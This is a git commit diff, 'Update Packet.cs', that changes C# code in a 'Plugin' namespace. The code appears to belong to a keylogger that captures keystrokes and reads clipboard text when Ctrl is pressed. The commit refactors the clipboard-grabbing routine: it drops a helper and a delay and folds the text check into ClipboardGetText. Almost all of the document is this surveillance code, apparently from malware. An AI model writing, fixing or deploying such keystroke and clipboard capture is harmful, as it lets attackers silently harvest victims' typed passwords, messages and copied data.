Update Packet.cs

This commit is contained in:
NYAN CAT 2019-10-15 17:51:38 +03:00
parent d6714d54c0
commit 19bbbb17a1

View File

@ -100,7 +100,7 @@ namespace Plugin
currentKey = currentKey.ToLower(); currentKey = currentKey.ToLower();
} }
if (ctrlPressed && ClipboardContainsText()) if (ctrlPressed)
{ {
switch ((Keys)vkCode) switch ((Keys)vkCode)
{ {
@ -172,29 +172,16 @@ namespace Plugin
} }
} }
private static bool ClipboardContainsText()
{
bool ReturnValue = false;
Thread STAThread = new Thread(
delegate ()
{
ReturnValue = Clipboard.ContainsText();
});
STAThread.SetApartmentState(ApartmentState.STA);
STAThread.Start();
STAThread.Join();
return ReturnValue;
}
private static string ClipboardGetText() private static string ClipboardGetText()
{ {
Thread.Sleep(500);
string ReturnValue = string.Empty; string ReturnValue = string.Empty;
Thread STAThread = new Thread( Thread STAThread = new Thread(
delegate () delegate ()
{ {
ReturnValue = Clipboard.GetText(); if (Clipboard.ContainsText())
{
ReturnValue = Clipboard.GetText();
}
}); });
STAThread.SetApartmentState(ApartmentState.STA); STAThread.SetApartmentState(ApartmentState.STA);
STAThread.Start(); STAThread.Start();